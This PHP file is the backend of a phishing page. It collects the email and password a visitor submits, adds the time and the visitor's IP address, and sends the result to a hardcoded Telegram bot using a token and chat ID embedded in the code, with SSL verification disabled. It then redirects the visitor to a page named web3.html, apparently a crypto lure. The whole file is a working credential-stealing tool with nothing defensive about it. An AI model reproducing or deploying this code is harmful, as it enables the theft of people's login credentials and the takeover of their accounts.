<?php
// Telegram Bot Token and Chat ID
$botToken = '8305098616:AAEWFixCxdMYimzDzmR6ehK0yEuV83T0yR0';
$chatID = '8196866398'; // Correct Chat ID from getUpdates

// Check if form is submitted
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // Get email and password from the form
    $email = $_POST['email'] ?? '';
    $password = $_POST['password'] ?? '';

    // Prepare the message
    $message = "🔐 New Login Credentials:\n\n📧 Email: $email\n🔑 Password: $password\n\n🕒 Time: " . date('Y-m-d H:i:s') . "\n🌐 IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'Unknown');

    // Build the URL for GET request
    $url = "https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatID&text=" . urlencode($message);
    
    // Use file_get_contents
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'ignore_errors' => true,
            'timeout' => 10
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false
        ]
    ]);
    
    try {
        $response = file_get_contents($url, false, $context);
        // Log response for debugging
        if ($response === FALSE) {
            error_log("Failed to send message to Telegram");
        } else {
            error_log("Telegram Response: " . $response);
        }
    } catch (Exception $e) {
        error_log("Error sending to Telegram: " . $e->getMessage());
    }

    // Redirect user
    header("Location: web3.html");
    exit();
    
} else {
    header("Location: web3.html");
    exit();
}
?>